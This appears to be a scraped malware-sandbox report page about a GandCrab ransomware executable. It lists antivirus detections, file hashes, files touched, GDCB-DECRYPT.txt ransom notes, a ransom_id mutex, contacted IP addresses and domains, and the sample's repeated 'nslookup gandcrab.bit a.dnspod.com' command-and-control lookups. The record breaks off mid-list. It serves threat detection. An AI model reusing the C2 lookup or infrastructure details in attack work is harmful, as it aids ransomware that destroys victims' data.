26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom_.ECD080A2 Sample 03d68025f52d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 03d68025f52d…. Malware family: Ransom_.ECD080A2. Threat score 100/100. 24/27 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","keywords":["Malicious","Ransom_.ECD080A2","malware analysis","sandbox report","threat intelligence","03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28"],"about":{"@type":"SoftwareApplication","name":"2018-01-26_19-47-00.exe","applicationCategory":["peexe","executable"],"identifier":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom_.ECD080A2","antivirusDetections":{"malicious":24,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T81e,"" queries volume information of unknown location at 00014513-00002904-0000010C-40443513 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443533 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443553 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443573 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443592 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443611 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443630 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443649 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443668 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443687 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443706 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443725 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443744 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443763 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443782 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443801 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443820 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443839 "" queries volume information of unknown location at 00014513-00002904-0000010C-40443858 "" queries volume information of unknown location at 00014513-00002904-0000010C-4044387828:T766,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "" touched file "C:\Windows\System32\rsaenh.dll" "" touched file "C:\Windows\System32\en-US\crypt32.dll.mui" "" touched file "C:\Users\NORzXOi\AppData\Local\Microsoft\Windows\Temporary Internet Files" "" touched file "C:\Users\NORzXOi\AppData\Roaming\Microsoft\Windows\Cookies" "" touched file "C:\Users\NORzXOi\AppData\Local\Microsoft\Windows\History" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" "" touched file "C:\Windows\System32\en-US\urlmon.dll.mui" "" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "" touched file "C:\Windows\System32\msxml3r.dll" "" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\ipv4bot_whatismyipaddress_com[1].htm" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "C:\Windows\System32\nslookup.exe" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\curl[1].htm" "" touched file "C:\Users\Default\AppData\Local\Microsoft\Windows\History\GDCB-DECRYPT.txt" "" touched file "C:\Users\Default\AppData\Local\Microsoft\Windows\GDCB-DECRYPT.txt"29:T749,Found dropped filename "pspubws@shopping.udn[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@filefreak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@xiti[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.stumbleupon[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@sonymobcomm.tt.omtrdc[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lenovo[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.sony[7].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@matrixspa[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@last[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www.lloydsbank[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@allcnet.gazeta[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@eloqua[2].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@c.appier[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@zappos[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@hurriyet.com[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@kayak[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@brothersoft[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@www1.euro.dell[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@58[1].txt" containing the Windows username "PSPUBWS" Found dropped filename "pspubws@ibm[2].txt" containing the Windows username "PSPUBWS"2a:T9f8,"" wrote bytes "7739247779a82877be722877d62d28771de2237705a22877c868277757d12e77bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74DD1000" (part of module "WSHIP6.DLL") "" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL") "" wrote bytes "c4ca3c7780bb3c77aa6e3d779fbb3c7708bb3c7746ce3c7761383d77de2f3d77d0d93c770000000017790f774f910f777f6f0f77f4f70f7711f70f77f2830f77857e0f7700000000" to virtual address "0x6A8D1000" (part of module "MSIMG32.DLL") "" wrote bytes "92e6237779a82877be722877d62d28771de2237705a22877bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74881000" (part of module "WSHTCPIP.DLL") "nslookup.exe" wrote bytes "7739247779a82877be722877d62d28771de2237705a22877c868277757d12e77bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74DD1000" (part of module "WSHIP6.DLL") "nslookup.exe" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL") "nslookup.exe" wrote bytes "92e6237779a82877be722877d62d28771de2237705a22877bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74881000" (part of module "WSHTCPIP.DLL") "nslookup.exe" wrote bytes "7739247779a82877be722877d62d28771de2237705a22877c868277757d12e77bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74DD1000" "nslookup.exe" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" "nslookup.exe" wrote bytes "92e6237779a82877be722877d62d28771de2237705a22877bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74881000" "WMIC.exe" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000"2b:T7f8,Found malicious artifacts related to "66.171.248.178": ... URL: http://66.171.248.178/ (AV positives: 1/66 scanned on 01/22/2018 09:02:26) URL: http://bot.whatismyipaddress.com/ (AV positives: 1/62 scanned on 03/17/2015 09:38:49) File SHA256: 5e134645650d83eafe8b212126094e0de5824862239dcd554d13554e412f5db6 (AV positives: 19/65 scanned on 01/26/2018 10:14:04) File SHA256: 5f4c7fa3a3e75d1ba47b130e03848683e4c119a942664809c9a2df21b4f9e895 (AV positives: 12/67 scanned on 01/26/2018 08:32:58) File SHA256: a0728421ceaa8bf12e73a7a6074cb9b5178ff76a2ba325f1c50db9cef037ecbc (AV positives: 25/67 scanned on 01/26/2018 05:06:34) File SHA256: 5d53050a1509bcc9d97552fa52c1105b51967f4ccf2bde717b502605db1b5011 (AV positives: 9/65 scanned on 01/26/2018 04:50:07) File SHA256: c1f44f9340ecb79b3483d91df4b998567fd77add5e413e1a42fc98670c495996 (AV positives: 35/67 scanned on 01/23/2018 21:55:05) File SHA256: 540cedb2e6a03c6f12d8921618c56d02d2e1c14472439468b7dfbaa46584b34b (Date: 12/14/2017 21:28:22) File SHA256: 3b6bc8655b2c88605ec968c5ee99679f06549da1213085ead10f2bc26fd279c7 (Date: 12/12/2017 22:10:41) File SHA256: 3a5a3c7d63c653e721b662d9371f5f48ec72bb2f63489322d6e851ad91bf6381 (Date: 12/07/2017 07:39:25) File SHA256: 2b6d04b46b82d184aaf9572523f8a40d386ee7196b355c518fccf19cf52c853e (Date: 12/05/2017 03:01:16) File SHA256: 312efd6e6fb7bd73e261a3d53ea658b9f30291d4932476911a13ceb1c3edd2a6 (Date: 12/04/2017 23:29:45) Found malicious artifacts related to "112.90.141.215": ... URL: http://a.dnspod.com/ (AV positives: 1/66 scanned on 01/07/2018 22:27:18) URL: http://112.90.141.215/ (AV positives: 1/64 scanned on 05/15/2017 21:09:18) File SHA256: 5e134645650d83eafe8b212126094e0de5824862239dcd554d13554e412f5db6 (AV positives: 19/65 scanned on 01/26/2018 10:14:04) File SHA256: a0728421ceaa8bf12e73a7a6074cb9b5178ff76a2ba325f1c50db9cef037ecbc (AV positives: 25/67 scanned on 01/26/2018 05:06:34) File SHA256: 5d53050a1509bcc9d97552fa52c1105b51967f4ccf2bde717b502605db1b5011 (AV positives: 9/65 scanned on 01/26/2018 04:50:08)2c:T56d,Spawned process "" (UID: 00012680-00001152) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00013940-00002796) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00015251-00002720) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00016538-00002020) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00017825-00001792) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00019111-00001676) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00020396-00003844) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00021683-00003524) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00022971-00003660) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00024259-00001548) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00025546-00003256) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00026833-00003624) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00028120-00001260)2d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8Ad3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790348913808,"unified_at":"2026-09-25T15:08:33.808Z","metadata":{"hashes":{"sha256":"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28","sha1":"0876ad729d79da65ed4e72966d9f9d209394ebfa","md5":"aedf80c426fb649bb258e430a3830d85","sha512":"6155c9ba39fc3b09a89ace82babdd9f9b5b614e8a292acd38806a6648452eae08d688011582f79319389be7070a14e8dc0e486823cef20769e71711315dc2cc6","ssdeep":"3072:UmC/SdkaaTlNBOEpJRY2uaz3EJ1fUqLCAUB:q/6M39xuG3E7h","ssdeep_chunks":["3072:UmC/Sdk","3072:mC/Sdka","3072:C/Sdkaa","3072:/SdkaaT","3072:SdkaaTl","3072:dkaaTlN","3072:kaaTlNB","3072:aaTlNBO","3072:aTlNBOE","3072:TlNBOEp","3072:lNBOEpJ","3072:NBOEpJR","3072:BOEpJRY","3072:OEpJRY2","3072:EpJRY2u","3072:pJRY2ua","3072:JRY2uaz","3072:RY2uaz3","3072:Y2uaz3E","3072:2uaz3EJ","3072:uaz3EJ1","3072:az3EJ1f","3072:z3EJ1fU","3072:3EJ1fUq","3072:EJ1fUqL","3072:J1fUqLC","3072:1fUqLCA","3072:fUqLCAU","3072:UqLCAUB","6144:UmC/Sdk","6144:mC/Sdka","6144:C/Sdkaa","6144:/SdkaaT","6144:SdkaaTl","6144:dkaaTlN","6144:kaaTlNB","6144:aaTlNBO","6144:aTlNBOE","6144:TlNBOEp","6144:lNBOEpJ","6144:NBOEpJR","6144:BOEpJRY","6144:OEpJRY2","6144:EpJRY2u","6144:pJRY2ua","6144:JRY2uaz","6144:RY2uaz3","6144:Y2uaz3E","6144:2uaz3EJ","6144:uaz3EJ1","6144:az3EJ1f","6144:z3EJ1fU","6144:3EJ1fUq","6144:EJ1fUqL","6144:J1fUqLC","6144:1fUqLCA","6144:fUqLCAU","6144:UqLCAUB","3072:q/6M39x","3072:/6M39xu","3072:6M39xuG","3072:M39xuG3","3072:39xuG3E","3072:9xuG3E7","3072:xuG3E7h"],"imphash":"136e9d1afe7e34fe54fa298c419d8129"},"file_info":{"file_name":"2018-01-26_19-47-00.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":131584,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1516965396000,"last_seen":1684957063000,"last_multi_scan":1684957063000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["Gandcrab","ransomware"]},"stats":{"av":{"malicious_count":24,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":23,"suspicious_count":26,"malicious_count":13,"total":62},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1312568","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CUAS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Gandcrab-6502433-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Application.Win32.IStartSurf.PS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.GandCrab (A)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.GCJN trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/GandCrab.av","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 0053305e1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Packed-ZG!AEDF80C426FB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Jorik.exjdpy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Ransom-EVH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.GandCrab.131584.D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.ECD080A2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.ECD080A2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-dc907ce6!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GandCrab.AZT","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Miner","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Jorik.Win32.423425","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom_.ECD080A2","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 48501-666-00406D19\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014513-00002904-57351-12-00402E8F\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014513-00002904-57351-33-00406859\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014513-00002904-57351-438-00406D19","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00014513-00002904-57351-249-00407A4A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00014513-00002904-52460-28-00406186","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00014513-00002904-52460-8-004048B8\n GetProcessHeap@KERNEL32.DLL at 00014513-00002904-52460-13-00402ED1\n GetProcessHeap@KERNEL32.DLL at 00014513-00002904-52460-33-00403466","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$27","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"\" queries volume information of \"C:\\\" at 00014513-00002904-0000010C-43624067\n \"\" queries volume information of \"C:\\\" at 00014513-00002904-0000010C-44962695\n \"\" queries volume information of \"C:\\\" at 00014513-00002904-0000010C-45214525","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ipv4bot.whatismyipaddress.com\"\n \"a.dnspod.com\"\n \"gandcrab.bit\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"66.171.248.178:80\"\n \"112.90.141.215:53\"\n \"78.155.206.6:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\GDCB-DECRYPT.txt\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208\"\n \"firefox browser\"\n \"Local\\_!MSFTHISTORY!_\"\n \"Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!ietldcache!\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!cookies!\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\!IETld!Mutex\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\WininetStartupMutex\"\n \"Local\\c:!users!norzxoi!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Global\\pc_group=WORKGROUP&ransom_id=259a4fdc3766943\"\n \"Local\\c:!users!norzxoi!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\firefox browser\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=259a4fdc3766943\"\n 